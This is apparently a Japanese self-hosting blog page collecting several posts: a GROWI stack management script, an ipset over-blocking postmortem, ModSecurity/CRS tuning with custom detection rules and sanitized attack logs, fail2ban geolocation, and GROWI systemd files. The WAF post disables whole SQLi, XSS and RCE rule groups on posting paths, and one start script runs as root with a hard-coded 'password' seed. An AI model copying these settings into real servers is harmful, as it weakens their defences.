カテゴリー: ガジェット Page 1 of 100

GROWIスタックの運用を効率化するBashスクリプトの作成

1. はじめに

GROWI(Wikiシステム)をセルフホストする場合、本体の他にMongoDB、Elasticsearch、そしてリバースプロキシとしてのApacheなど、複数のサービスを管理する必要があります。これらを個別に手動で起動・停止するのは手間がかかり、手順ミスも起きやすくなります。

そこで、サービス間の依存関係を考慮し、安全かつ簡潔に管理するためのBashスクリプトを作成しました。

1-1. 筆者環境

  • Ubuntu 24.04
  • Growi (systemdにサービス登録済み)
  • Apacheのバーチャルホストでリバースプロキシ運用
  • mongodb
  • elasticsearch

2. スクリプトの主な特徴

  • 依存関係を考慮した起動順序:
    • DB → 検索エンジン(起動待ち含む) → Apache設定 → GROWI本体の順で確実に立ち上げます。
  • Apache設定の動的切り替え:
    • a2ensite / a2dissite を活用し、サービス停止時にはApache自体は止めず、GROWIへのアクセスパスのみをクリーンに遮断します。
  • 対話モードとコマンドライン引数の両対応:
    • 単体実行ではメニューが表示され、引数を渡せば自動実行が可能です。
  • エラーハンドリング: 各ステップで実行状態をチェックし、異常があれば即座に中断・通知します。

3. 管理スクリプト: manage-growi.sh

systemctlをいじるので、root権限で作っておきます。

#!/bin/bash

# ==============================================================================
# GROWIスタック管理スクリプト
# 対応サービス: MongoDB, Elasticsearch, Apache2, GROWI
# ==============================================================================

# --- [ 設定セクション ] ---
APACHE_CONF_NAME="growi.conf"
SITE_NAME="${APACHE_CONF_NAME%.conf}"
SERVICES=("mongod.service" "elasticsearch.service" "apache2.service" "growi.service")

# カラー出力設定
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[0;33m'
BLUE='\033[0;34m'
NC='\033[0m'

# --- [ ユーティリティ関数 ] ---

log_info() { echo -e "${BLUE}[INFO]${NC} $1"; }
log_warn() { echo -e "${YELLOW}[WARN]${NC} $1"; }
log_err()  { echo -e "${RED}[ERROR]${NC} $1"; exit 1; }
log_ok()   { echo -e "${GREEN}[SUCCESS]${NC} $1"; }

# 実行権限チェック
if [[ $EUID -ne 0 ]]; then
   log_err "このスクリプトの実行にはroot権限(sudo)が必要です。"
fi

# サービスの状態確認
is_active() {
    systemctl is-active --quiet "$1"
    return $?
}

# --- [ メイン機能 ] ---

start_services() {
    log_info "GROWIスタックの起動を開始します。"

    # 1. MongoDB
    log_info "データベース (MongoDB) を起動中..."
    systemctl start mongod.service
    is_active mongod.service || log_err "MongoDBの起動に失敗しました。"

    # 2. Elasticsearch
    log_info "検索エンジン (Elasticsearch) を起動中..."
    systemctl start elasticsearch.service
    # 応答待ち(最大75秒)
    for i in {1..15}; do
        if is_active elasticsearch.service; then break; fi
        [[ $i -eq 15 ]] && log_err "Elasticsearchの起動がタイムアウトしました。"
        sleep 5
    done

    # 3. Apache (設定の有効化)
    log_info "Apacheのリバースプロキシ設定を有効化しています..."
    if [ ! -L "/etc/apache2/sites-enabled/${APACHE_CONF_NAME}" ]; then
        a2ensite "${SITE_NAME}" > /dev/null
    fi
    systemctl reload apache2.service || systemctl start apache2.service

    # 4. GROWI 本体
    log_info "GROWI本体を起動中..."
    systemctl start growi.service
    sleep 3
    if is_active growi.service; then
        log_ok "すべてのサービスが正常に起動しました。"
    else
        log_err "GROWIの起動に失敗しました。ログを確認してください。"
    fi
}

stop_services() {
    log_info "GROWIスタックを停止します。"

    # サービス影響を最小限にするため、リバースプロキシから先に遮断
    log_info "GROWI本体を停止中..."
    systemctl stop growi.service

    log_info "Apacheの設定を無効化しています..."
    if [ -L "/etc/apache2/sites-enabled/${APACHE_CONF_NAME}" ]; then
        a2dissite "${SITE_NAME}" > /dev/null
        systemctl reload apache2.service
    fi

    log_info "バックエンドサービスを停止中..."
    systemctl stop elasticsearch.service
    systemctl stop mongod.service

    log_ok "すべての関連サービスが正常に停止しました。"
}

show_status() {
    echo -e "\n${YELLOW}--- サービス稼働状況 ---${NC}"
    printf "%-25s %s\n" "サービス名" "ステータス"
    printf "%-25s %s\n" "------------------------" "-------"
    for s in "${SERVICES[@]}"; do
        if is_active "$s"; then
            printf "%-25s ${GREEN}RUNNING${NC}\n" "$s"
        else
            printf "%-25s ${RED}STOPPED${NC}\n" "$s"
        fi
    done

    if [ -L "/etc/apache2/sites-enabled/${APACHE_CONF_NAME}" ]; then
        echo -e "Apache設定 (${APACHE_CONF_NAME}): ${GREEN}ENABLED${NC}"
    else
        echo -e "Apache設定 (${APACHE_CONF_NAME}): ${RED}DISABLED${NC}"
    fi
    echo ""
}

# --- [ エントリポイント ] ---
ACTION=${1:-"menu"}

case "$ACTION" in
    start)   start_services ;;
    stop)    stop_services ;;
    status)  show_status ;;
    restart) stop_services; start_services ;;
    menu)
        echo -e "${YELLOW}実行する操作を選択してください:${NC}"
        select opt in "Start" "Status" "Stop" "Restart" "Exit"; do
            case $opt in
                Start) start_services; break ;;
                Status) show_status; break ;;
                Stop) stop_services; break ;;
                Restart) stop_services; start_services; break ;;
                Exit) exit 0 ;;
                *) echo "無効な選択です。" ;;
            esac
        done
        ;;
    *)
        echo "Usage: $0 {start|stop|status|restart}"
        exit 1
        ;;
esac

4. 利用前の事前準備

スクリプトを使用するには、実行権限の付与と、システム上のファイル名の確認が必要です。

  1. 保存と実行権限の付与

ファイルを manage-growi.sh として保存した場合、以下のコマンドを実行します。

sudo chmod +x manage-growi.sh
  1. 設定の確認(重要)

スクリプト内の APACHE_CONF_NAME="growi.conf" が、実際に /etc/apache2/sites-available/ に存在するファイル名と一致しているか確認してください。

5.使い方(コマンド一覧)

このスクリプトは root権限(sudo) が必要です。

A. 対話型メニューで操作する

引数なしで実行すると、メニューが表示されます。

sudo ./growi-stack.sh

B. 直接コマンドを指定する

特定の操作を即座に実行したい場合に使用します。

  • 起動: sudo ./growi-stack.sh start
  • 停止: sudo ./growi-stack.sh stop
  • 状態確認: sudo ./growi-stack.sh status
  • 再起動: sudo ./growi-stack.sh restart

6. 表示・実行例

ステータス確認時の表示 (status)

現在の各サービスの稼働状況が一覧で表示されます。

--- サービス稼働状況 ---
サービス名                  ステータス
------------------------   -------
mongod.service             RUNNING
elasticsearch.service      RUNNING
apache2.service            RUNNING
growi.service              RUNNING
Apache設定 (growi.conf): ENABLED

起動処理の実行例 (start)

依存関係を考慮し、DBから順に起動していきます。

[INFO] GROWIスタックの起動を開始します。
[INFO] データベース (MongoDB) を起動中...
[INFO] 検索エンジン (Elasticsearch) を起動中...
[INFO] Apacheのリバースプロキシ設定を有効化しています...
[INFO] GROWI本体を起動中...
[SUCCESS] すべてのサービスが正常に起動しました。

7. スクリプトの主な特徴と処理順序

このスクリプトは、単なる一括起動ではなく、GROWIの依存関係を考慮した設計になっています。

順序起動時 (Start)停止時 (Stop)理由
1MongoDBGROWI本体DBがないとアプリが落ちるため / 停止は入り口から。
2ElasticsearchApache設定無効検索エンジンを準備。
3Apache設定有効Elasticsearchインフラが整ってから外部公開。
4GROWI本体MongoDB最後にアプリを立ち上げる。

8. 運用のヒント

  • トラブルシューティング: もし [ERROR] が出た場合は、個別のログを確認してください。
  • GROWIのログ: journalctl -u growi.service -f
  • Elasticsearchのログ: journalctl -u elasticsearch.service -f
  • 自動起動設定: サーバー再起動時に自動で立ち上げたい場合は、このスクリプトを使わず systemctl enable [サービス名] を各サービスに設定するのが一般的です。このスクリプトは、メンテナンス時の手動メンテナンス用として最適です。

新たなPCのサプライ購入。

今月届いたノートパソコン、ThinkPad。

こちらのサプライを少し揃えました。

ダイソーで

  • ワイヤレスイヤホン
  • メモリーカードリーダー

イヤホンは元々持っていますけど、別に分けておけばペアリングの手間を省けます。

存外小さめのケースも好感触。

これに加えて

  • マウス
  • ACアダプター

一式をお気に入りのポーチにまとめることができました。

防衛戦の後始末。広域IPブロックによる外部ストレージ(Wasabi)およびNextcloudの疎通不能と復旧

クリスマスに喰らった広域IPからのDDoSを排除した話。そこでの「友軍相撃(Friendly Fire)」をやらかしたという失敗談です。

事前背景

  1. クリスマスに自分のWebサイトを狙ったDDoSを喰らいました。
  2. そのとき、ipsetで /8という超高域ブロックを実施。

このときのメモはこちらにまとめています

その結果 何が起きたか(事象)

  • s3fsの不調: Wasabi(東京リージョン)のバケットがマウントされず、df -h コマンドが数分間フリーズ(Dステート一歩手前の待機状態)。
  • Nextcloudの孤立: 管理画面に「このサーバーにはインターネット接続がありません」と警告が表示され、アプリストアやアップデートチェックなどの外部通信がすべて遮断された。
  • システム負荷: 通信のタイムアウト待ちにより、VFS(仮想ファイルシステム)レイヤーでプロセスが滞留しました。

2. 原因切り分け(診断)

調査の結果、ネットワーク層およびカーネル層での遮断を確認しました。

エンドポイント疎通確認:

curl -v を実行した際、特定のIP帯域(103.151.x.x 等)へのTCPハンドシェイクが Trying... のまま進まず、タイムアウトすることを確認。

この時点で、「ああ、超・広範囲のブロックが徒になったか」と実感です。

ブロックルールの特定:

ipset list コマンドにより、自作の防御システム『ONE OUTS』で使用している ufw-blocklist に、以下の広域ブロックが登録されていることを突き止めました。

  • 103.0.0.0/8 (Wasabi東京リージョンを含むアジア圏の広大な帯域)
  • 85.0.0.0/8 (Nextcloud公式サーバーを含む欧州圏の広大な帯域)

結論: 昨年末のDDoS攻撃を鎮圧するために設定した「第1オクテット(/8)単位のブロック」が、正常な業務通信を巻き添えにする(Friendly Fire)結果を引きおこしたのです。

3. 対処(ufw-blocklistの解除)

干渉していた巨大なブロックエントリを ipset から削除し、通信路を復旧させました。

  • Wasabi (Tokyo) への疎通を確保
sudo ipset del ufw-blocklist 103.0.0.0/8
  • Nextcloud 公式サーバーへの疎通を確保
sudo ipset del ufw-blocklist 85.0.0.0/8
  • 設定の永続化
sudo ipset save ufw-blocklist -f /etc/ufw/ipsets.save

この状態では、まだs3fsプロセスが固まっていますので、これも対処。

  • 念のためs3fsプロセスを強制終了。
sudo killall -9 s3fs
  • 固まっていたマウントを解除。
sudo fusermount -u -z /mnt/wasabi2
  • fstabに基づく再マウント
sudo mount -a

4. 復旧確認(検証)

各サービスが正常なステータスに戻ったことを確認しました。

通信確認:

curl -I https://s3.ap-northeast-1.wasabisys.com303 See Other が即座に返ることを確認。

マウント確認:

df -h が遅延なく応答し、Wasabiバケットの容量が表示されることを確認。

Nextcloud確認:

管理画面の「インターネット接続なし」の警告が消え、外部連携機能が復旧したことを確認。

なぜ気づくのが遅れたか?

「このマウントはバックアップのため、普段めったに触れなかった」に尽きます。

今回、バックアップをいじるようになってからようやく気づいた次第です。これに関しては反省。

「使ってなければそれは見えていないのと同じ」というバイアスでした。

今回の教訓

私がipsetの搭載で言及した

これは、対象のIPアドレスをシャットアウトする「慈悲なき王」です。

を身を以て体感しました。なので、これを振るう時は更に注意する必要がありました。

それにしても、「自分だけが使うサーバのため、被害が自分だけで済んで良かった」と改めて思った次第です。こちらの記事にて

「『いい鉄砲は打ち手を選ぶ』ってことわざ知ってるか?
威力のある鉄砲は その分扱いも難しく危険
だから未熟者が使うと打ち手の方がケガをするってことさ」

が自分へ向かうことのないよう、日々、管理/監視を怠らないようにする必要があると知った出来事でした。

が、まさに自分に向かっていったというお話しで、本件を締めます。

WAFの「やりすぎ」と「見逃し」を飼い慣らす:ModSecurityチューニング実践

OSSでのWAFとして非常にメジャーなModSecurityとCRS(Core Rule Set)。

デフォルトでは非常に強力な保護が得られます。しかし、そのままではRedmineやNextcloudといった「複雑なリクエストを投げるアプリ」はまともに動きません。

今回は、筆者の例を元に、偽陽性(誤検知)を回避しつつ、偽陰性(すり抜け)を最小限に抑える設定術を解説します。

筆者環境

  • Ubuntu 24.04
  • Apache 2.4
  • Mod Security v2

動いているWebアプリ

  • Nextcloud
  • Redmine
  • BookStack

と、WAFが偽陽性を誘発するようなWebアプリ群です。

1. そもそも「偽陽性」「偽陰性」とは?

WAFを運用する上で避けて通れない2つの概念です。

用語状態影響対策
偽陽性 (False Positive)正常な通信を攻撃と判定ユーザーがログインできない、投稿が消えるルールの除外設定(Exclusion)を行う
偽陰性 (False Negative)攻撃的な通信を正常と判定脆弱性を突かれ、被害が出るシグネチャの更新、独自ルールの追加

「守りを固めれば不便になり、利便性を取れば危うくなる」。このジレンマを解決するのが、筆者が設定している個別除外ルールの設計です。

2. 確実だけど偽陰性を産むやり方「ID除外」

これは筆者が2025年9月まで実施していた例です。

たとえば、自分がRedmineで投稿した記事がエラーとなってしまった。そのエラーを

awk '
/ModSecurity/ {
  if (match($0, /\[client ([0-9\.]+):/, ip_arr) && match($0, /\[id "([0-9]+)"\]/, id_arr)) {
    print id_arr[1], ip_arr[1];
  }
}' /var/log/nextcloud_error.log | sort | uniq -c

等として調査。以下の結果が出てきたとします。

     36 911100 127.0.0.1
    267 911100 aaa.bbb.ccc.ddd
     65 920420 aaa.bbb.ccc.ddd
     36 949110 127.0.0.1
    267 949110 aaa.bbb.ccc.ddd
     36 980130 127.0.0.1
    267 980130 aaa.bbb.ccc.ddd
IDルール名(概要)挙動の説明
911100Method is not allowed by policy許可されていないHTTPメソッド(GET/POST以外など)を検知します。
920420Request content type is not allowed by policyContent-Typeヘッダーが許可リストにない場合に反応します。
949110Inbound Anomaly Score Exceeded重要: これは特定の攻撃を指すものではなく、他のルールの合計スコアが閾値を超えたため「ブロックした」という最終結果を示すIDです。
980130Inbound Anomaly Score Exceeded (Reporting)949110と同様に、リクエスト全体の異常スコアが高かったことを報告するログ用のIDです。

これらの偽陽性に引っかかったIDを割り出し、/etc/apache2/sites-available/example.confなどで

 ## 最初は検知モード

 SecRuleEngine DetectionOnly
+
+## 偽陽性と判断したID
+SecRuleRemoveById 911100
+SecRuleRemoveById 920420
+SecRuleRemoveById 949110
+SecRuleRemoveById 980130
+
 </VirtualHost>

を追加するのは確実に偽陽性“は”防ぐことができます。しかし、これでは「本当に上記の脆弱性を突いた攻撃」は素通しとなってしまいます。

特に、攻撃者は、クローリングスクリプトなどで内容を確認し、「この記事があればこのルールは無効化されているはず」と当たりをつけます。定番の防御ツール、ましてやOSSともなると、

  • 偽陽性になりやすい(取り除かれやすい)ルール
  • 一発アウトになりやすい文章

は極めて多いのです。

特に、技術ブログのように

  • コマンド羅列
  • SQLコマンドをベタ打ち
  • スクリプト文の紹介

などは、投稿した瞬間にエラーとなったため、渋々SecRuleRemoveIdで検知しないようにした方は極めて多いのではないでしょうか。

3. CRSの裏をかく「防御未満の攻撃」

また、CRSは「このラインまでだったら大丈夫だ」という「甘い判断基準」が悲しいことに存在します。

以下は、ある日のModSecurityエラーログの一部です(情報は無害化済み)。

# 1. Slowloris攻撃を疑わせる矛盾したConnectionヘッダーの検知
[Wed Jan 14 12:00:00 2026] [security2:error] [client 192.0.2.100] ModSecurity: Warning. Pattern match "(?i)(?:keep-alive(?:,\\\\s*close|...)" at REQUEST_HEADERS:Connection. [id "10001"] [msg "[CUSTOM RULE] Contradictory Connection header, possible Slowloris probe."]

# 2. IPアドレスでの直接アクセスを検知
[Wed Jan 14 12:00:00 2026] [security2:error] [client 192.0.2.100] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|...)" at REQUEST_HEADERS:Host. [id "920350"] [msg "Host header is a numeric IP address"]

# 3. アノマリスコアが閾値を超えたため遮断
[Wed Jan 14 12:00:00 2026] [security2:error] [client 192.0.2.100] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 6)"]

ログから読み取れる攻撃者の意図

  • 矛盾したConnectionヘッダー:
  • Connection: keep-alive, close という通常ではありえないヘッダーが含まれていました。これは Slowloris などのDoS攻撃ツールに見られる特徴です。
  • IPアドレスでのホスト指定:
  • ドメイン名ではなくIPアドレス(例: 203.0.113.1)を指定してアクセスしています。これはボットによる無差別なスキャンの典型的な挙動です。

この、Mod_Securityのルールの外を狙った「じわじわとリソースを削っていく」攻撃こそ遮断する必要があります。

4. 「Webは守る」「投稿はスルーする」の「両方」をやる

この「偽陽性は防ぎつつ本来の防御を確立する」ために筆者が行っている手段は「例外ルールによるチューニング」です。

前提として:

こちらのリンク先のような形でCRSを設置。筆者記事:ModSecurityインストール

cd /usr/share/modsecurity-crs/coreruleset/rules && pwd

として、

REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.confファイルを作成します。

提示コンフィグ(ドメイン匿名化済み)

以下、筆者の例です。

  • 自身の環境に合わせてください。
  • 特に、正規表現としてドメイン名を利用しています。
  • 確実な正規表現の書き方は、あなたが今見ている機器で探してください。
#
# === CRS Exclusions - Before Rules Execution (Organized) ===
#

# ===================================================================
# 1. 共通ルール・汎用ルール (General/Common Rules)
# ===================================================================

# 1-1. 遅い通信(Slowloris)対策
# 矛盾するConnectionヘッダーを持つリクエストを遮断
SecRule REQUEST_HEADERS:Connection "@rx (?i)(?:keep-alive(?:,\sclose|,\skeep-alive)|close(?:,\skeep-alive|,\sclose))" \
    "id:10001,phase:1,t:none,block,msg:'[CUSTOM RULE] Contradictory Connection header, possible Slowloris probe.',tag:'application-attack',tag:'PROTOCOL_VIOLATION/INVALID_HREQ',setvar:'tx.inbound_anomaly_score_pl1=+%{tx.critical_anomaly_score}'"

# 1-2. WordPress スキャン対策
# 存在しないWPパスへのアクセスは、問答無用でスコアを加算して404へ飛ばす
# wordpressを設置している方は、このセクションを無効化してください
SecRule REQUEST_URI "@rx /(?:wordpress|wp-admin|wp-content|wp-includes|xmlrpc\\.php)" \
    "id:10002,phase:2,pass,nolog,capture,msg:'[CUSTOM] WordPress Probe Detected. Scored +5.',tag:'ATTACK_WP_PROBE',setvar:'tx.anomaly_score_pl1=+5',setvar:'tx.lfi_score=+5',setvar:'tx.wp_probe_detected=1'"

SecRule TX:wp_probe_detected "@eq 1" \
    "id:10003,phase:2,deny,nolog,msg:'[CUSTOM] Final action: Deny with 404 status.',status:404"

# 1-3. IPアドレス直打ちアクセス対策
# ホスト名ではなくIPで直接アクセスしてくる怪しい挙動を即座にマーク
SecRule REQUEST_HEADERS:Host "@rx ^[\d.]+$" \
    "id:10004,\
    phase:1,\
    deny,\
    status:403,\
    log,\
    msg:'[CUSTOM RULE] Host header is a numeric IP address. Blocked immediately.',\
    tag:'application-attack',\
    tag:'PROTOCOL_VIOLATION/INVALID_HREQ'"

# ===================================================================
# 2. アプリ別除外: BookStack (Knowledge Base)
# ===================================================================
SecRule SERVER_NAME "@streq bookstack.example.com" \
    "id:1001,phase:1,nolog,pass,skipAfter:END_BOOKSTACK_RULES_PRE"

# PUTメソッドの許可(下書き保存用)
SecRule REQUEST_URI "@rx ^/(ajax/page|books|pages)/" \
    "id:1003,phase:1,nolog,pass,setvar:'tx.allowed_methods=%{tx.allowed_methods} PUT',ctl:ruleRemoveById=911100"

# 記事投稿時のSQLi/XSS誤検知を除外
SecRule REQUEST_URI "@rx ^/(books|ajax/page|pages)/" \
    "id:1005,phase:2,nolog,pass, \
    ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-RCE, \
    ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-LFI, \
    ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-XSS, \
    ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-SQLI, \
    ctl:ruleRemoveById=921130, \
    ctl:ruleRemoveById=934130"

SecMarker END_BOOKSTACK_RULES_PRE

# ===================================================================
# 3. アプリ別除外: Nextcloud (Cloud Storage)
# ===================================================================
SecRule SERVER_NAME "@streq nextcloud.example.com" \
    "id:3001,phase:1,nolog,pass,skipAfter:END_NEXTCLOUD_RULES_PRE"

# WebDAV関連メソッド(PROPFIND等)を許可しないと同期が壊れるため除外
SecRule REQUEST_URI "@rx ^/remote\.php/" \
    "id:3002,phase:1,nolog,pass, \
    setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND OPTIONS REPORT PUT DELETE MKCOL', \
    ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920420"

SecMarker END_NEXTCLOUD_RULES_PRE

# ===================================================================
# 4. アプリ別除外: Redmine (Project Management)
# ===================================================================
SecRule SERVER_NAME "@rx ^(redmine|projects)\.example\.com$" \
    "id:4001,phase:1,nolog,pass,skipAfter:END_REDMINE_RULES_PRE"

# PATCHメソッド(チケット更新)の許可
SecRule REQUEST_URI "@rx ^/(issues|projects)/" \
    "id:4002,phase:1,nolog,pass,setvar:'tx.allowed_methods=%{tx.allowed_methods} PATCH',ctl:ruleRemoveById=911100"

# チケット内容(コードブロック等)がSQLiやRCEと誤認されるのを防ぐ
SecRule REQUEST_URI "@rx ^/projects/[^/]+/(issues|knowledgebase/articles|news|issue_templates)|/issues|/journals|/questions|/issue_templates" \
    "id:4003,phase:2,nolog,pass, \
    ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-RCE, \
    ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-SQLI, \
    ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-LFI, \
    ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-XSS, \
    ctl:ruleRemoveByTag=OWASP_CRS/PROTOCOL-ATTACK"

# View CustomizeプラグインでJS/CSSを編集する際の広範な除外
SecRule REQUEST_URI "@rx ^/view_customizes(?:/\d+)?$" "id:4006,phase:2,nolog,pass,t:none,chain"
  SecRule REQUEST_METHOD "@rx ^(POST|PUT|PATCH)$" \
    "ctl:ruleRemoveTargetByTag=OWASP_CRS/ATTACK-RCE;ARGS:view_customize[code],\
     ctl:ruleRemoveTargetByTag=OWASP_CRS/ATTACK-XSS;ARGS:view_customize[code]"

SecMarker END_REDMINE_RULES_PRE

なぜこれが必要なのか

  1. プロトコルの柔軟性: 標準のCRSは「GET/POST」以外のメソッド(PUT, PATCH, PROPFINDなど)を攻撃の兆候として厳しく制限します。しかし、モダンなWebアプリ(特にNextcloud)にはこれらが不可欠です。
  2. 偽陽性の温床「本文検査」: Redmineで「SQLの書き方」をチケットに書くと、WAFはそれを「SQLインジェクション攻撃」とみなしてブロックします。特定のパスに対してのみ、特定の検査(Tag)をオフにすることで、利便性を確保しています。
  3. 無駄なスキャンの排除: WordPressを使っていないサーバーへのWordPress用スキャンは、リソースの無駄です。これを早期に検知して「スコア加算+404応答」とすることで、後続の重い検査をスキップしつつ攻撃者をあしらいます。
  4. SecRuleRemoveByTag の威力: IDを1つずつ消すと、CRSがアップデートされた際に追加された「新しいSQLi検知ルール」に対応できません。今回のように OWASP_CRS/ATTACK-SQLI というタグ単位で除外することで、将来のアップデート後も「投稿機能だけは常に使える」状態を維持できます。
  5. 「404」で返す心理的効果: 攻撃者(のボット)は、403を返すと「あ、WAFがあるな」と判断して攻撃手法を変えてくることがありますが、404を返すと「このIPには何も存在しない」と判断してリストから外してくれる可能性が高まります。

設定のテストと反映

上記、設定を行ったら

  • 構文チェック
sudo apache2ctl configtest

apache 再起動

sudo systemctl restart apache2.service

apache 再起動確認

systemctl status apache2.service

active(running)を確認します。

偽陽性排除確認

実際にRedmine / Nextcloud等にアクセスして、投稿をしても偽陽性にならない(エラーにならない)を確認できれば成功です。

5. 賢いWAF運用のコツ

WAFは一度設定して終わりではありません。

ログを確認する:

/var/log/apache2/error.log や ModSecurityのアAuditログを監視し、id:xxxxx が出たら「それは本当に攻撃か?」を疑い、必要なら今回のコンフィグに除外ルールを追記します。

身内には優しく、外敵には厳しく:

特定のソースIPや、自社ドメイン宛の正常な操作(Redmineの更新など)は、今回のようにパスやメソッドで丁寧に除外を作るのが、運用を長続きさせる秘訣です。

この、例外ルールを正しく使うことで、スクリプトキディやクローラーに対して、このような大見得を切ってやりましょう。

『任務は遂行する』
…………
部下も守る
おまえごときに両方やるというのは
そうムズかしい事じゃあないな

新たな道具、追加。(ThinkPad P14s Gen 6 AMD)

昨今のPCの価格急騰に伴い、PC購入を一念発起。

項目詳細スペック備考
プロセッサーAMD Ryzen™ AI 5 PRO 340 (2.00 GHz / 最大 4.80 GHz)最新のZen 5世代・AIエンジン(NPU)搭載
グラフィックスAMD Radeon™ 840M (内蔵)軽めの3Dゲームも動作する強力な内蔵GPU
メモリー16 GB DDR5-5600MT/s (SODIMM)空きスロット×1あり(最大96GBまで拡張可)
ストレージ512 GB SSD M.2 2280 PCIe-NVMe Gen4高速NVMe規格
ディスプレイ14.0" WUXGA (1920x1200) IPS液晶400 nit、16:10の縦広画面
本体重量約 1.39 kg 〜14型ワークステーションとして最軽量クラス
キーボード日本語配列、バックライト付独立クリックボタン+トラックポイント搭載
生体認証指紋センサーあり電源ボタン一体型
カメラ500万画素(プライバシーシャッター付)高精細なWeb会議対応
無線LANWi-Fi 7対応 (IEEE 802.11be)Bluetooth v5.4対応
インターフェースUSB4 (Thunderbolt互換)×2、USB-A×2、HDMI 2.1、RJ-45有線LAN(RJ-45)を標準搭載
バッテリー4セル リチウムイオン 52.5 Wh急速充電対応
OSWindows 11 Home 64bit

なぜこれにしたか

トラックポイントがある

これにつきます。ホームポジションから手を離すことなくストレートに操作できる「手の拡張機能」は特権です。

軽めの3Dゲームが動く

こちらを見てお分かりのように『ライザのアトリエ3』DXが動きました。これは最高のキラーコンテンツです。

その他、使用感は改めてレビューします。

SSH不正アクセス元の傾向(geoiplookupの使い方)

「取り敢えず乗っ取れそうなサーバがあるなら攻撃する」ぐらいの勢いでSSHに接続する輩。その数は浜の真砂のなんとやらです。

そこでふと思ったのが「どこの国からの不正攻撃が多いのか」という興味。これを調べてみます。

環境

  • Ubuntu 24.04
  • 公開鍵認証
  • fail2ban導入済み

まず、現在のBANリストの傾向を見る

以下を使って調べます。

 sudo fail2ban-client status sshd | grep "Currently banned"

結果

   |- Currently banned: 8473

なんと、8500にも及ぶIP群。これらをnslookup / digで調べるのは非効率。そして、それらを一覧してシェルスクリプトを組むのもDNSのクエリーを食い潰します。

geoiplookupによる調査

そこで、geooplookupを用います。

インストールは以下の方法で。(筆者は好みでaptitudeを用いています)

sudo aptitude install geoip-bin geoip-database

インストール後、

geoiplookup 8.8.8.8

を入力。

GeoIP Country Edition: US, United States

が帰ってくればOKです。

では、GeoIPで実際に、fail2banが検知したものを見てみます。

sudo fail2ban-client status sshd | grep "IP list" | sed 's/.*IP list: \+//' | tr ' ' '\n' | while read ip; do geoiplookup "$ip" | cut -d: -f2; done | sort | uniq -c | sort -rn | head -n 20

こちらの結果は

   1716  CN, China
   1134  US, United States
    498  CA, Canada
    487  SG, Singapore
    476  VN, Vietnam
    394  ID, Indonesia
    344  HK, Hong Kong
    327  DE, Germany
    314  IN, India
    229  RU, Russian Federation
    212  KR, Korea, Republic of
    175  BR, Brazil
    167  GB, United Kingdom
    164  IR, Iran, Islamic Republic of
    149  NL, Netherlands
    124  FR, France
     95  JP, Japan
     86  TH, Thailand
     71  IT, Italy
     69  ES, Spain

ここから分かること

組織的なスキャンの存在:

上位10カ国だけで、全体の半分近く(約5,700件)を占めています。特定の地域に設置されたデータセンターやクラウドプロバイダーのIP群から、システマチックに攻撃が来ていることが推測できます。

「日本国内」がランク外の安心感:

上位10カ国に日本(JP)が入っていないことから、ターゲットを絞った攻撃というよりは、「世界中を無差別に絨毯爆撃しているボット」に私のサーバーが見つかり、それをFail2Banがコツコツと捕獲し続けている状況です。

まとめ

「vps一本でサーバを公開する」という宣言は自由ではありますが「これだけの悪意と戦う自由」との隣り合わせ。

こちらの記事を再掲しますが、

鍵交換認証にする理由
  • パスワードが送信されない
  • パスワード認証では、パスワード自体がネットワーク上を流れるため盗聴リスクがあります。
  • 鍵認証では、秘密鍵が署名を生成し、署名のみが送信されるため、秘密情報が直接送られることはありません
  • 総当たり攻撃に強い
  • パスワードは文字数が少ないと短時間で破られる可能性があります。
  • 鍵認証では、2048ビット以上の鍵が使われることが多く、現在の一般的なサーバの計算能力では事実上破ることが不可能です。
  • 盗聴されても再利用できない
  • 鍵認証では毎回異なるチャレンジに対して署名を行うため、録音や再送信による攻撃(リプレイ攻撃)が通用しません。
  • フィッシング耐性が高い
  • パスワード認証は偽サイトに入力してしまうリスクがあります。
  • 鍵認証では秘密鍵がローカルに保管されており、外部に送信されないためフィッシングに強いです。

は、心に留めておくべきSSHの運用です。

Growiのsystemdと起動スクリプトの修正。

以下の環境でGrowiを利用。

  • Growi v7.4.1
  • node v20.10.2
  • Ubuntu 24.04
  • Growi実行環境 /home/www-data/growi
  • Growi実行ユーザ:root

v7.4.1で以下の問題点にぶつかったため、growiのスタートアップスクリプトとsystemdで対処したときのメモです。

問題点

  • daemon-reload の遅延: 設定反映に約5分を要していました。
  • 起動プロセスの停滞: サービス開始から実際にアクセス可能になるまで約6分かかっていました。(以前は数秒)
  • 不安定な運用: 異常終了時の自動再起動設定がなく、ログも標準出力のみで追跡が困難でした。

旧設定

  • /etc/systemd/system/growi.service
[Unit]
Description = growi
After=network-online.target mongod.service
After=network.target elasticsearch.service
ConditionPathExists=/home/www-data/growi

[Service]
ExecStart=/home/www-data/growi/growi-start.sh
Restart=no
Type=simple

[Install]
WantedBy=multi-user.target
  • /home/www-data/growi/growi-start.sh
#!/bin/bash

# NVM environmentをロード (NVM_DIRを直接指定)
export NVM_DIR="/root/.nvm" # $HOMEの代わりに直接パスを指定
if [ -s "$NVM_DIR/nvm.sh" ]; then
  \. "$NVM_DIR/nvm.sh"  # nvmをロード
  # 次の行でスクリプト実行時のnodeとnpmのバージョンをログに出力
  echo "NVM for GROWI startup script loaded. Using Node version: $(node -v), npm version: $(npm -v)" > /tmp/growi_nvm_load.log
else
  # NVMが見つからない場合もログに出力
  echo "NVM_DIR ($NVM_DIR) not found or nvm.sh not found for GROWI startup script." > /tmp/growi_nvm_load.log
fi

cd /home/www-data/growi
NODE_ENV=production \
AUDIT_LOG_ENABLED=true \
FORCE_WIKI_MODE=private \
MONGO_URI=mongodb://localhost:27017/growi \
ELASTICSEARCH_URI=http://localhost:9200/growi \
REDIS_URI=redis://localhost:6379 \
PASSWORD_SEED=password \
npm run app:server

原因分析

